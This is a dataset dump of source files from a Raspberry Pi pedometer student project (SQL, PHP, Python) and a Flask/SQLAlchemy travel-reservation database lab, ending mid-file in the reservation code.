[ { "alpha_fraction": 0.6912442445755005, "alphanum_fraction": 0.6935483813285828, "avg_line_length": 23.11111068725586, "blob_id": "93a7970fe4cb923766fb31ec98173538d5422e39", "content_id": "a9bcf8806acab0d419a72fd8db7c25a03ebe60a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 434, "license_type": "no_license", "max_line_length": 35, "num_lines": 18, "path": "/create_database_pedometer.sql", "repo_name": "cscintia/pedometer", "src_encoding": "UTF-8", "text": "DROP DATABASE IF EXISTS pedometer;\nCREATE DATABASE pedometer;\nUSE pedometer;\nCREATE TABLE WalkingSession(\n ID INT NOT NULL AUTO_INCREMENT,\n Type CHAR(1) NOT NULL,\n Mean DOUBLE NOT NULL,\n StartTime DATETIME NOT NULL,\n StopTime DATETIME NOT NULL,\n Duration DOUBLE NOT NULL,\n CountOfSteps INT NOT NULL,\n MET FLOAT NOT NULL,\n Weight INT NOT NULL,\n Calories DOUBLE NOT NULL,\n \n PRIMARY KEY (ID)\n\t \n);\n" }, { "alpha_fraction": 0.5526685118675232, "alphanum_fraction": 0.5702247023582458, "avg_line_length": 20.57575798034668, "blob_id": "3120be4abaf0ae03955d55f2ade475c5ead06f68", "content_id": "d4998240a1252debc20e29565840bb8da5f34cdd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 2866, "license_type": "no_license", "max_line_length": 117, "num_lines": 132, "path": "/index.php", "repo_name": "cscintia/pedometer", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html>\n<head>\n<style>\nbody {\n background-image: url(\"background.jpg\");\n background-color: #ffffff;\n} \n \n.button {\n border: none;\n color: white;\n padding: 15px 32px;\n text-align: center;\n text-decoration: none;\n display: inline-block;\n font-size: 18px;\n margin: 4px 2px;\n cursor: pointer;\n}\n\n.button1 {background-color: #00A170;}\n.button2 {background-color: #0072B5;}\n\ntable {\n font-family: arial, sans-serif;\n border-collapse: collapse;\n width: 100%;\n}\n\ntd, th {\n border: 1px solid #FFFFFF;\n text-align: left;\n padding: 8px;\n}\n\ntr:nth-child(even) {\n background-color: #A0DAA9;\n}\n\ntr:nth-child(odd) {\n background-color: #E9897E;\n</style>\n</head>\n<body>\n<h1>Pedometer</h1>\n<p>Üdvözlünk újra az oldalon!</p>\n\n<p>\n<?php\n$servername = \"localhost\";\n$username = \"admin\";\n$password = \"raspberry\";\n$dbname = \"pedometer\";\n\n// Create connection\n$conn = new mysqli($servername, $username, $password, $dbname);\n// Check connection\nif ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n}\n\nif(array_key_exists('button1', $_POST)) { \n button1();\n} \nelse if(array_key_exists('button2', $_POST)) { \n button2(); \n} \nfunction button1() { \n global $conn;\n $sql = \"SELECT ID, CountOfSteps, round(Calories,3) AS Calories FROM WalkingSession ORDER BY StopTime DESC LIMIT 1\";\n $result = $conn->query($sql);\n \n if ($result->num_rows > 0) {\n echo \"<table>\";\n echo \" <tr>\";\n echo \" <th>ID</th>\";\n echo \" <th>Lépésszám</th>\";\n echo \" <th>Kalóriamennyiség</th>\";\n echo \" </tr>\";\n // output data of each row\n while($row = $result->fetch_assoc()) {\n echo \" <tr>\";\n echo \" <td>\" . $row[\"ID\"] . \"</td>\";\n echo \" <td>\" . $row[\"CountOfSteps\"] . \"</td>\";\n echo \" <td>\" . $row[\"Calories\"] . \" kcal</td>\";\n echo \" </tr>\";\n }\n echo \"</table>\";\n } else {\n echo \"0 results\";\n } \n \n} \nfunction button2() {\n global $conn;\n $sql = \"SELECT ID, CountOfSteps, round(Calories,3) AS Calories FROM WalkingSession\";\n $result = $conn->query($sql);\n \n if ($result->num_rows > 0) {\n echo \"<table>\";\n echo \" <tr>\";\n echo \" <th>ID</th>\";\n echo \" <th>Lépésszám</th>\";\n echo \" <th>Kalóriamennyiség</th>\";\n echo \" </tr>\";\n // output data of each row\n while($row = $result->fetch_assoc()) {\n echo \" <tr>\";\n echo \" <td>\" . $row[\"ID\"] . \"</td>\";\n echo \" <td>\" . $row[\"CountOfSteps\"] . \"</td>\";\n echo \" <td>\" . $row[\"Calories\"] . \" kcal</td>\";\n echo \" </tr>\";\n }\n echo \"</table>\";\n } else {\n echo \"0 results\";\n } \n} \n\n$conn->close();\n?>\n\n</p>\n\n<form method=\"post\"> \n<button type=\"submit\" name=\"button1\" class=\"button button1\">Legutolsó aktivitás</button>\n<button type=\"submit\" name=\"button2\" class=\"button button2\">Összes aktivitás</button>\n</form> \n\n</body>\n</html>\n" }, { "alpha_fraction": 0.4830508530139923, "alphanum_fraction": 0.5195750594139099, "avg_line_length": 36.556053161621094, "blob_id": "7d1a7d212d2eeb3d7061a033b3f04d9d28f7dd1b", "content_id": "08b7269a6b337538ea0fe97185ad016170af9081", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8378, "license_type": "no_license", "max_line_length": 355, "num_lines": 223, "path": "/main.py", "repo_name": "cscintia/pedometer", "src_encoding": "UTF-8", "text": "import time\nimport threading\nimport mysql.connector\nfrom sense_hat import SenseHat\nfrom datetime import datetime\nfrom math import sqrt\nfrom numpy import std\nfrom scipy.signal import find_peaks\n\nOFFSET_LEFT = 1\nOFFSET_TOP = 2\n\nNUMS =[1,1,1,1,0,1,1,0,1,1,0,1,1,1,1, # 0\n 0,1,0,0,1,0,0,1,0,0,1,0,0,1,0, # 1\n 1,1,1,0,0,1,0,1,0,1,0,0,1,1,1, # 2\n 1,1,1,0,0,1,1,1,1,0,0,1,1,1,1, # 3\n 1,0,0,1,0,1,1,1,1,0,0,1,0,0,1, # 4\n 1,1,1,1,0,0,1,1,1,0,0,1,1,1,1, # 5\n 1,1,1,1,0,0,1,1,1,1,0,1,1,1,1, # 6\n 1,1,1,0,0,1,0,1,0,1,0,0,1,0,0, # 7\n 1,1,1,1,0,1,1,1,1,1,0,1,1,1,1, # 8\n 1,1,1,1,0,1,1,1,1,0,0,1,0,0,1] # 9\n\n# Displays a single digit (0-9)\ndef show_digit(val, xd, yd, r, g, b):\n offset = val * 15\n for p in range(offset, offset + 15):\n xt = p % 3\n yt = (p-offset) // 3\n sense.set_pixel(xt+xd, yt+yd, r*NUMS[p], g*NUMS[p], b*NUMS[p])\n\n# Displays a two-digits positive number (0-99)\ndef show_number(val, r, g, b):\n abs_val = abs(val)\n tens = abs_val // 10\n units = abs_val % 10\n if abs_val > 9: show_digit(tens, OFFSET_LEFT, OFFSET_TOP, r, g, b)\n show_digit(units, OFFSET_LEFT+4, OFFSET_TOP, r, g, b)\n \n# Displays a point (non-blocker)\ndef show_point():\n while True:\n if MenuState == 2:\n sense.show_letter(\".\", [255, 0, 0])\n time.sleep(0.5) #Wait a while and then clear the screen\n sense.clear()\n time.sleep(0.5)\n\n# Displays the actual type (non-blocker)\ndef show_type():\n while True:\n if MenuState == 1:\n sense.show_letter(SessionType, [255, 227, 2])\n time.sleep(0.5) #Wait a while and then clear the screen\n sense.clear()\n time.sleep(0.5)\n \n# Displays the actual weight (non-blocker)\ndef show_weight():\n while True:\n if MenuState == 0:\n show_number(PersonWeight, 255, 227, 2)\n time.sleep(0.5) #Wait a while and then clear the screen\n sense.clear()\n time.sleep(0.5)\n\n# Class for storing accelerometer data\nclass SamplePoint:\n def __init__(self, x, y, z):\n self.x = x * 9.8\n self.y = y * 9.8\n self.z = z * 9.8\n self.mag = 0\n self.magNoG = 0\n \n# Class for storing session data \nclass WalkingSession:\n def __init__(self):\n self.samplepoints = [] # creates a new empty list\n self.mean = 0\n self.minPeakHeight = 0\n self.peaks = [] # creates a new empty list\n self.steps = 0\n self.type = \"W\"\n self.starttime = 0\n self.stoptime = 0\n self.duration = 0\n self.met = 0\n self.weight = 0\n self.calories = 0 \n\nsense = SenseHat()\n\nsense.clear()\n\nsessions = []\nNumSessions = 0\nPersonWeight = 70\nSessionType = \"W\"\n\nMenuState = 0\nSessionState = 0\n\nt0 = threading.Thread(target=show_weight)\nt1 = threading.Thread(target=show_type)\nt2 = threading.Thread(target=show_point)\nt0.start()\nt1.start()\nt2.start()\n\nmydb = mysql.connector.connect(\n host=\"localhost\",\n user=\"admin\",\n password=\"raspberry\",\n database=\"pedometer\"\n)\n\nwhile True:\n \n # User input about their weight\n if MenuState == 0 :\n for event in sense.stick.get_events():\n # Check whether the joystick was pressed\n if event.action == \"pressed\":\n # Checking direction\n if event.direction == \"up\":\n if PersonWeight < 99:\n PersonWeight = PersonWeight + 1 # Up arrow\n elif event.direction == \"down\":\n if PersonWeight > 1:\n PersonWeight = PersonWeight - 1 # Down arrow\n elif event.direction == \"middle\":\n MenuState = 1\n \n \n # User input about the type of the next session (W=Walking, J=Jogging, R=Running)\n elif MenuState == 1 :\n for event in sense.stick.get_events():\n # Check whether the joystick was pressed\n if event.action == \"pressed\":\n # Checking direction\n if event.direction == \"up\":\n if SessionType == \"W\":\n SessionType = \"J\" # Up arrow\n elif SessionType == \"J\" or SessionType == \"R\":\n SessionType = \"R\" # Up arrow\n elif event.direction == \"down\":\n if SessionType == \"W\" or SessionType == \"J\":\n SessionType = \"W\" # Down arrow\n elif SessionType == \"R\":\n SessionType = \"J\" # Down arrow\n elif event.direction == \"middle\":\n MenuState = 2\n NumSessions += 1;\n sessions.append(WalkingSession())\n sessions[NumSessions-1].starttime = datetime.now()\n sessions[NumSessions-1].type = SessionType\n if SessionType == \"W\":\n sessions[NumSessions-1].met = 3.0\n elif SessionType == \"J\":\n sessions[NumSessions-1].met = 8.8\n elif SessionType == \"R\":\n sessions[NumSessions-1].met = 11.2 \n sessions[NumSessions-1].weight = PersonWeight\n \n \n # Session is in progress\n elif MenuState == 2 : \n for event in sense.stick.get_events():\n # Check whether the joystick was pressed\n if event.action == \"pressed\":\n # Checking direction\n if event.direction == \"middle\":\n MenuState = 1\n\n for i in sessions[NumSessions-1].samplepoints:\n i.mag = sqrt(i.x * i.x + i.y * i.y + i.z * i.z)\n \n summa = 0\n num = 0\n for i in sessions[NumSessions-1].samplepoints:\n num = num + 1\n summa = summa + i.mag\n \n sessions[NumSessions-1].mean = summa / num\n \n magNoGArray = []\n for i in sessions[NumSessions-1].samplepoints:\n i.magNoG = i.mag - sessions[NumSessions-1].mean\n magNoGArray.append(i.magNoG)\n \n sessions[NumSessions-1].minPeakHeight = std(magNoGArray)\n \n sessions[NumSessions-1].peaks, _ = find_peaks(magNoGArray, height=sessions[NumSessions-1].minPeakHeight, distance=30)\n \n print(sessions[NumSessions-1].peaks)\n sessions[NumSessions-1].steps = sessions[NumSessions-1].peaks.size\n print(sessions[NumSessions-1].steps)\n \n sessions[NumSessions-1].stoptime = datetime.now()\n sessions[NumSessions-1].duration = sessions[NumSessions-1].stoptime.timestamp() - sessions[NumSessions-1].starttime.timestamp()\n print(\"duration =\", sessions[NumSessions-1].duration)\n \n hour = sessions[NumSessions-1].duration / 3600\n sessions[NumSessions-1].calories = sessions[NumSessions-1].met * sessions[NumSessions-1].weight * hour\n \n mycursor = mydb.cursor()\n\n sql = \"INSERT INTO WalkingSession (Type, Mean, StartTime, StopTime, Duration, CountofSteps, MET, Weight, Calories) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\"\n val = (sessions[NumSessions-1].type, str(sessions[NumSessions-1].mean), str(sessions[NumSessions-1].starttime), str(sessions[NumSessions-1].stoptime), str(sessions[NumSessions-1].duration), str(sessions[NumSessions-1].steps), str(sessions[NumSessions-1].met), str(sessions[NumSessions-1].weight), str(sessions[NumSessions-1].calories))\n mycursor.execute(sql, val)\n\n mydb.commit()\n \n \n # getting data from accelerometer\n acceleration = sense.get_accelerometer_raw()\n x = acceleration['x']\n y = acceleration['y'] \n z = acceleration['z']\n \n #appending a new SamplePoint to the WalkingSession\n sessions[NumSessions-1].samplepoints.append(SamplePoint(x, y, z)) " }, { "alpha_fraction": 0.8433420658111572, "alphanum_fraction": 0.8511749505996704, "avg_line_length": 94.75, "blob_id": "3d0ce9074f7c0fbefb05d354ef7f3c55a2823f82", "content_id": "8c4cad66c41aae8f4960bd9c685f00dc69bd06a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 415, "license_type": "no_license", "max_line_length": 148, "num_lines": 4, "path": "/README.md", "repo_name": "cscintia/pedometer", "src_encoding": "UTF-8", "text": "# pedometer\nMikroelektromechanikai rendszerek (GKLB_INTM020) tárgyhoz készült beadandó fitnesz alkalmazás Raspberry Pi és Sense HAT segítségével Python nyelven.\nA gyorsulásmérő segítségével gyűjt adatokat a mozgásról, a megtett lépések számából kiszámolja az elégetett kalóriamennyiséget.\nAz eredményeket egy MariaDB (MySQL) adatbázisban tárolja, és egy PHP weboldalon jeleníti meg.\n" } ]
4
fyabc/DBLab02
https://github.com/fyabc/DBLab02
0ac9a2784f79b9a2840c1b6d3c7b43f5206cd789
8ea967337107e29fcd0e171eb418a40e8abe7d9e
3a3979e3d2f7e0c3c4515169e1e33eaf7fc673d2
refs/heads/master
2021-01-19T05:58:16.471856
2016-06-04T12:42:04
2016-06-04T12:42:04
60,335,758
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.7246376872062683, "alphanum_fraction": 0.782608687877655, "avg_line_length": 33.5, "blob_id": "4a01ae38ace01232a4f802469884490b084ab2d3", "content_id": "5e1624183b99627154bcb653a3f366136dfe6eb6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 69, "license_type": "permissive", "max_line_length": 58, "num_lines": 2, "path": "/README.md", "repo_name": "fyabc/DBLab02", "src_encoding": "UTF-8", "text": "# DBLab02\nMy Database Lab 02, a reservation system written by Flask.\n" }, { "alpha_fraction": 0.7088607549667358, "alphanum_fraction": 0.7088607549667358, "avg_line_length": 16.55555534362793, "blob_id": "0acad2b117120c72a026946763b15d87a605c4d2", "content_id": "423f85afcc4ba42db0b4f2f461731fbf0e38dd65", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 158, "license_type": "permissive", "max_line_length": 37, "num_lines": 9, "path": "/DBLab02.py", "repo_name": "fyabc/DBLab02", "src_encoding": "UTF-8", "text": "from flask import Flask\nfrom flask_bootstrap import Bootstrap\n\n# Main Application\nfrom views import app\n\n\nif __name__ == '__main__':\n app.run(debug=False)\n" }, { "alpha_fraction": 0.49456867575645447, "alphanum_fraction": 0.49520766735076904, "avg_line_length": 42.47222137451172, "blob_id": "1b048ee8372a73413cb1cd3e20572f00a5e76634", "content_id": "16628186b924121237bf47251b96d95893cb4728", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1635, "license_type": "permissive", "max_line_length": 102, "num_lines": 36, "path": "/templates/base.html", "repo_name": "fyabc/DBLab02", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n{% extends \"bootstrap/base.html\" %}\n{% block head %}\n {{ super() }}\n <link href=\"../static/background.css\" rel=\"stylesheet\">\n{% endblock %}\n\n{% block html_attribs %} lang=\"zh-cn\" charset=\"utf-8\" {% endblock %}\n{% block title %}\n 旅行预订系统Beta版\n{% endblock %}\n\n{% block navbar %}\n <div class=\"navbar navbar-inverse\" role=\"navigation\">\n <div class=\"container\">\n <div class=\"navbar-header\">\n <ul class=\"nav nav-tabs\">\n <li role=\"presentation\"><a href=\"{{ url_for('.mainPage')}}\">首页</a></li>\n <li role=\"presentation\"><a href=\"{{ url_for('.signInPage')}}\">注册</a></li>\n <li role=\"presentation\"><a href=\"{{ url_for('.loginPage')}}\">登录</a></li>\n <li role=\"presentation\"><a href=\"{{ url_for('.queryPage')}}\">基本信息查询</a></li>\n <li role=\"presentation\"><a href=\"{{ url_for('.reservePage')}}\">预订</a></li>\n <li role=\"presentation\"><a href=\"{{ url_for('.insertPage')}}\">插入</a></li>\n <li role=\"presentation\"><a href=\"{{ url_for('.deletePage')}}\">删除</a></li>\n <li role=\"presentation\"><a href=\"{{ url_for('.routeQueryPage')}}\">路线查询</a></li>\n <li role=\"presentation\"><a href=\"{{ url_for('.customerQueryPage')}}\">用户查询</a></li>\n <li role=\"presentation\"><a href=\"{{ url_for('.logoutPage')}}\">登出</a></li>\n </ul>\n </div>\n </div>\n </div>\n{% endblock %}\n\n{% block content %}\n {{ super() }}\n{% endblock %}\n" }, { "alpha_fraction": 0.6415238380432129, "alphanum_fraction": 0.6487619280815125, "avg_line_length": 31.8125, "blob_id": "2f18a8e48cb81dbf960c154ac6175124e14cb640", "content_id": "5fc327c65eabb2a591b39ca253820d046ef827b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2885, "license_type": "permissive", "max_line_length": 110, "num_lines": 80, "path": "/forms.py", "repo_name": "fyabc/DBLab02", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n__author__ = 'fyabc'\n\nfrom flask.ext.wtf import Form\nfrom wtforms import StringField, SubmitField, SelectField, PasswordField, IntegerField\nfrom wtforms.validators import DataRequired, NumberRange, Length\n\n# Local modules.\nfrom config import TableNames\n\n\nclass SignInForm(Form):\n userID = StringField('用户ID', validators=[DataRequired()])\n userName = StringField('用户名', validators=[DataRequired()])\n password = PasswordField(\n '密码', validators=[DataRequired(), Length(min=6, message='密码长度不得少于6个字符。')])\n submit = SubmitField('注册')\n\n\nclass QueryForm(Form):\n type = SelectField('查询类型', coerce=str, choices=TableNames)\n queryName = StringField('查询主键名称', default='')\n submit = SubmitField('查询')\n\n\nclass LoginForm(Form):\n userName = StringField('账号', validators=[DataRequired()])\n password = PasswordField('密码', validators=[DataRequired()])\n submit = SubmitField('登录')\n\n myUserName = 'fyabc'\n myPassword = 'fy95102'\n\n\nclass ReserveForm(Form):\n customerID = StringField('用户编号', validators=[DataRequired()])\n reserveType = SelectField('预订类型', coerce=int,\n choices=[\n (1, '航班'),\n (2, '宾馆'),\n (3, '出租车')\n ])\n reserveKey = StringField('预订名称', validators=[DataRequired()])\n submit = SubmitField('预订')\n\n\nclass UnsubscribeForm(Form):\n reservationID = IntegerField('预订编号', validators=[DataRequired()])\n submit = SubmitField('退订')\n\n\nclass InsertForm(Form):\n type = SelectField('插入类型', coerce=str, choices=[name for name in TableNames if name[0] != 'Reservations'])\n primaryKey = StringField('主键名称', validators=[DataRequired()])\n price = IntegerField('价格', validators=[NumberRange(min=1, max=524287)])\n numTotal = IntegerField('数量', validators=[NumberRange(min=1, max=1023)])\n password = StringField('密码')\n fromCity = StringField('出发城市')\n toCity = StringField('目的城市')\n customerName = StringField('用户名称')\n submit = SubmitField('插入记录')\n\n\nclass DeleteForm(Form):\n type = SelectField('删除类型', coerce=str, choices=[name for name in TableNames])\n primaryKey = StringField('主键名称', validators=[DataRequired()])\n submit = SubmitField('删除记录')\n\n\nclass RouteQueryForm(Form):\n fromCity = StringField('出发城市', validators=[DataRequired()])\n toCity = StringField('目的城市', validators=[DataRequired()])\n submit = SubmitField('查询线路')\n\n\nclass CustomerQueryForm(Form):\n IDNumber = StringField('用户ID')\n customerName = StringField('用户名称')\n submit = SubmitField('查询用户')\n" }, { "alpha_fraction": 0.5984755754470825, "alphanum_fraction": 0.6051288843154907, "avg_line_length": 31.868364334106445, "blob_id": "578799b4c05d9918e5a995652c44289cfc2e96b5", "content_id": "77cda05121943e600adc7c9f86aff96c0f9c4692", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16385, "license_type": "permissive", "max_line_length": 119, "num_lines": 471, "path": "/dbOperations.py", "repo_name": "fyabc/DBLab02", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n__author__ = 'fyabc'\n\n# These 2 statements are important.\nimport pymysql\n\npymysql.install_as_MySQLdb()\n\nfrom flask import request, session\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom sqlalchemy.exc import IntegrityError, InvalidRequestError\n\n# Local modules.\nfrom createApp import app\nimport config\n\ndb = SQLAlchemy(app)\n\n\nclass DBErrorMessage:\n def __init__(self, code, *message):\n self.code = code\n self.message = message\n\n\nclass Flights(db.Model):\n __tablename__ = 'Flights'\n\n flightNum = db.Column(name='flightNum', type_=db.String(20), primary_key=True, nullable=False)\n price = db.Column(name='price', type_=db.BigInteger)\n numSeats = db.Column(name='numSeats', type_=db.Integer)\n numAvail = db.Column(name='numAvail', type_=db.Integer)\n fromCity = db.Column(name='fromCity', type_=db.String(20))\n toCity = db.Column(name='toCity', type_=db.String(20))\n\n constraint = db.CheckConstraint('numAvail >= 0')\n\n columns = [('flightNum', '航班号'), ('price', '价格'), ('numSeats', '座位数量'), ('numAvail', '可用数量'),\n ('fromCity', '出发城市'), ('toCity', '目的城市')]\n\n def __init__(self, flightNum, price, numSeats, fromCity, toCity):\n self.flightNum = flightNum\n self.price = price\n self.numSeats = numSeats\n self.numAvail = numSeats\n self.fromCity = fromCity\n self.toCity = toCity\n\n def __repr__(self):\n return 'Flights(flightNum=%s, price=%d, numSeats=%d, numAvail=%d, fromCity=%s, toCity=%s)' % \\\n (self.flightNum, self.price, self.numSeats, self.numAvail, self.fromCity, self.toCity)\n\n\nclass Hotels(db.Model):\n __tablename__ = 'Hotels'\n\n location = db.Column(name='location', type_=db.String(20), primary_key=True, nullable=False)\n price = db.Column(name='price', type_=db.BigInteger)\n numRooms = db.Column(name='numRooms', type_=db.Integer)\n numAvail = db.Column(name='numAvail', type_=db.Integer)\n\n constraint = db.CheckConstraint('numAvail >= 0')\n\n columns = [('location', '地点'), ('price', '价格'), ('numRooms', '房间数量'), ('numAvail', '可用数量')]\n\n def __init__(self, location, price, numRooms):\n self.location = location\n self.price = price\n self.numRooms = numRooms\n self.numAvail = numRooms\n\n def __repr__(self):\n return 'Hotels(location=%s, price=%d, numRooms=%d, numAvail=%d)' % \\\n (self.location, self.price, self.numRooms, self.numAvail)\n\n\nclass Cars(db.Model):\n __tablename__ = 'Cars'\n\n location = db.Column(name='location', type_=db.String(20), primary_key=True, nullable=False)\n price = db.Column(name='price', type_=db.BigInteger)\n numCars = db.Column(name='numCars', type_=db.Integer)\n numAvail = db.Column(name='numAvail', type_=db.Integer)\n\n constraint = db.CheckConstraint('numAvail >= 0')\n\n columns = [('location', '地点'), ('price', '价格'), ('numCars', '车辆数量'), ('numAvail', '可用数量')]\n\n def __init__(self, location, price, numCars):\n self.location = location\n self.price = price\n self.numCars = numCars\n self.numAvail = numCars\n\n def __repr__(self):\n return 'Cars(location=%s, price=%d, numCars=%d, numAvail=%d)' % \\\n (self.location, self.price, self.numCars, self.numAvail)\n\n\nclass Customers(db.Model):\n __tablename__ = 'Customers'\n\n IDNumber = db.Column(name='IDNumber', type_=db.String(20), primary_key=True, nullable=False)\n customerName = db.Column(name='customerName', type_=db.String(20))\n password = db.Column(name='password', type_=db.String(20))\n\n columns = [('IDNumber', '用户ID'), ('customerName', '用户名'), ('password', '密码')]\n\n def __init__(self, IDNumber, customerName, password):\n self.IDNumber = IDNumber\n self.customerName = customerName\n self.password = password\n\n # Used by flask_login.\n def is_authenticated(self):\n # return Customers.query.get(self.IDNumber).password == self.password\n return True\n\n def is_active(self):\n return True\n\n def is_anonymous(self):\n return False\n\n def get_id(self):\n return str(self.IDNumber)\n\n def __repr__(self):\n return 'Customers(IDNumber=%s, customerName=%s, password=%s)' %\\\n (self.IDNumber, self.customerName, self.password)\n\n\nclass Reservations(db.Model):\n __tablename__ = 'Reservations'\n\n reservationID = db.Column(name='reservationID', type_=db.Integer, primary_key=True, nullable=False,\n autoincrement=True)\n customerID = db.Column(db.ForeignKey('Customers.IDNumber'), name='customerID', type_=db.String(20), nullable=False)\n reserveType = db.Column(name='reserveType', type_=db.SmallInteger)\n reserveKey = db.Column(name='reserveKey', type_=db.String(20), nullable=False)\n\n columns = [('reservationID', '预订ID'), ('customerID', '顾客ID'),\n ('reserveType', '预订类型'), ('reserveKey', '预订名称')]\n\n def __init__(self, customerID, reserveType, reserveKey):\n self.customerID = customerID\n self.reserveType = reserveType\n self.reserveKey = reserveKey\n\n def __repr__(self):\n return 'Reservations(customerID=%s, reserveType=%d, reserveKey=%s) # reservationID=%d' % \\\n (self.customerID, self.reserveType, self.reserveKey, self.reservationID)\n\n\nTables = {\n table.__tablename__: table\n for table in [Flights, Cars, Hotels, Customers, Reservations]\n}\n\n\ndef queryOneColumn(result, nameCol=0):\n return [row[nameCol] for row in result.fetchall()]\n\n\ndef createTriggers():\n allProcedures = queryOneColumn(db.session.execute(\"\"\"Show Procedure Status Where Db = 'DBLab02';\"\"\"), 1)\n\n if 'changeReserve' not in allProcedures:\n # You needn't to change delimiter in mysql APIs, because ';' will not split the query in API.\n db.session.execute(\n \"\"\"\\\n CREATE PROCEDURE DBLab02.changeReserve(resType INT(11), resKey CHAR(20), ins_or_del BOOLEAN)\n BEGIN\n\n IF resType = 1 THEN\n UPDATE Flights\n SET numAvail = numAvail + If(ins_or_del, -1, 1)\n WHERE flightNum = resKey\n ;\n ELSEIF resType = 2 THEN\n UPDATE Hotels\n SET numAvail = numAvail + If(ins_or_del, -1, 1)\n WHERE location = resKey\n ;\n ELSEIF resType = 3 THEN\n UPDATE Cars\n SET numAvail = numAvail + If(ins_or_del, -1, 1)\n WHERE location = resKey\n ;\n END IF;\n\n END;\n \"\"\"\n )\n\n # 在表 FLIGHTS 中,numAvail 表示指定航班上的还可以被预订的座位数。对\n # 于 一 个 给 定 的 航 班 ( flightNum ) , 数 据 库 一 致 性 的 条 件 之 一 是 , 表\n # RESERVATIONS 中所有预订该航班的条目数加上该航班的剩余座位数必须\n # 等于该航班上总的座位数。这个条件对于表 CARS 和表 HOTELS 同样适用。\n\n allTriggers = queryOneColumn(db.session.execute(\"\"\"Show Triggers;\"\"\"))\n\n if 'T_AvailableNum_Ins' not in allTriggers:\n db.session.execute(\n \"\"\"\n CREATE TRIGGER T_AvailableNum_Ins\n AFTER INSERT ON Reservations\n FOR EACH ROW\n CALL changeReserve(new.reserveType, new.reserveKey, TRUE)\n ;\n \"\"\"\n )\n\n if 'T_AvailableNum_Del' not in allTriggers:\n db.session.execute(\n \"\"\"\n CREATE TRIGGER T_AvailableNum_Del\n AFTER DELETE ON Reservations\n FOR EACH ROW\n CALL changeReserve(old.reserveType, old.reserveKey, FALSE)\n ;\n \"\"\"\n )\n\n if 'T_AvailableNum_Update' not in allTriggers:\n db.session.execute(\n \"\"\"\n CREATE TRIGGER T_AvailableNum_Update\n AFTER UPDATE ON Reservations\n FOR EACH ROW\n BEGIN\n CALL changeReserve(old.reserveType, old.reserveKey, FALSE);\n CALL changeReserve(new.reserveType, new.reserveKey, TRUE);\n END\n ;\n \"\"\"\n )\n\n db.session.commit()\n\n\ndef query():\n table = Tables.get(request.form['type'])\n queryName = request.form['queryName']\n if config.adminLoggedIn or table in (Flights, Hotels, Cars):\n if queryName == '':\n return table, table.query.all()\n else:\n return table, [table.query.get(queryName)]\n else:\n if table == Reservations:\n return table, table.query.filter(Reservations.customerID == session.get('user_id')).all()\n else:\n return table, [table.query.get(session.get('user_id'))]\n\n\ndef addReserve():\n if config.adminLoggedIn:\n customerID = request.form['customerID']\n else:\n customerID = session.get('user_id')\n\n reserveType = int(request.form['reserveType'])\n reserveKey = request.form['reserveKey']\n\n table = None\n if reserveType == 1:\n table = Flights\n elif reserveType == 2:\n table = Hotels\n elif reserveType == 3:\n table = Cars\n\n # test if the reserveKey in the Table.\n reserveEntity = table.query.get(reserveKey)\n if reserveEntity is None:\n return DBErrorMessage(1, '没有在数据库中找到预订的名称。')\n elif reserveEntity.numAvail <= 0:\n return DBErrorMessage(5, '没有多余的空位了!')\n\n reservation = Reservations(customerID, reserveType, reserveKey)\n try:\n db.session.add(reservation)\n db.session.commit()\n except IntegrityError as e:\n print(e)\n db.session.rollback()\n return DBErrorMessage(2, '完整性错误:数据库中不存在该用户编号。', '详细信息:%s' % e)\n except Exception as e:\n print(e)\n db.session.rollback()\n return DBErrorMessage(3, '其他错误:%s' % e)\n\n return DBErrorMessage(0, '预订成功!预订编号为%d,请记得保存。' % reservation.reservationID)\n\n\ndef removeReserve():\n try:\n reservationID = int(request.form['reservationID'])\n assert 1 <= reservationID\n except ValueError as e:\n print(e)\n return DBErrorMessage(4, '预订编号必须为正整数')\n\n if config.adminLoggedIn:\n deleteNum = Reservations.query.filter(Reservations.reservationID == reservationID).delete(False)\n else:\n deleteNum = Reservations.query.filter(Reservations.reservationID == reservationID,\n Reservations.customerID == session.get('user_id')).delete(False)\n db.session.commit()\n\n if deleteNum == 0:\n return DBErrorMessage(1, '没有在数据库中找到预订的编号,或这不是您的预订。')\n else:\n return DBErrorMessage(0, '退订成功!')\n\n\ndef insertRecord():\n table = Tables[request.form['type']]\n\n if table == Customers:\n IDNumber = request.form['primaryKey']\n customerName = request.form['customerName']\n password = request.form['password']\n try:\n db.session.add(Customers(IDNumber, customerName, password))\n db.session.commit()\n except IntegrityError as e:\n print(e)\n db.session.rollback()\n return DBErrorMessage(2, '完整性错误:数据库中已存在该用户。', '详细信息:%s' % e)\n except Exception as e:\n print(e)\n db.session.rollback()\n return DBErrorMessage(3, '其他错误:%s' % e)\n return DBErrorMessage(0, '添加用户成功!')\n else:\n # validate the price and numTotal.\n try:\n price = int(request.form['price'])\n numTotal = int(request.form['numTotal'])\n assert 1 <= price <= 1048576\n assert 1 <= numTotal <= 1024\n except (ValueError, AssertionError) as e:\n print(e)\n return DBErrorMessage(4, '价格必须为1~1048576的整数,可用数量必须为1~1024的整数')\n\n try:\n if table == Flights:\n db.session.add(table(request.form['primaryKey'], price, numTotal, request.form['fromCity'],\n request.form['toCity']))\n else:\n db.session.add(table(request.form['primaryKey'], price, numTotal))\n db.session.commit()\n except IntegrityError as e:\n print(e)\n db.session.rollback()\n return DBErrorMessage(2, 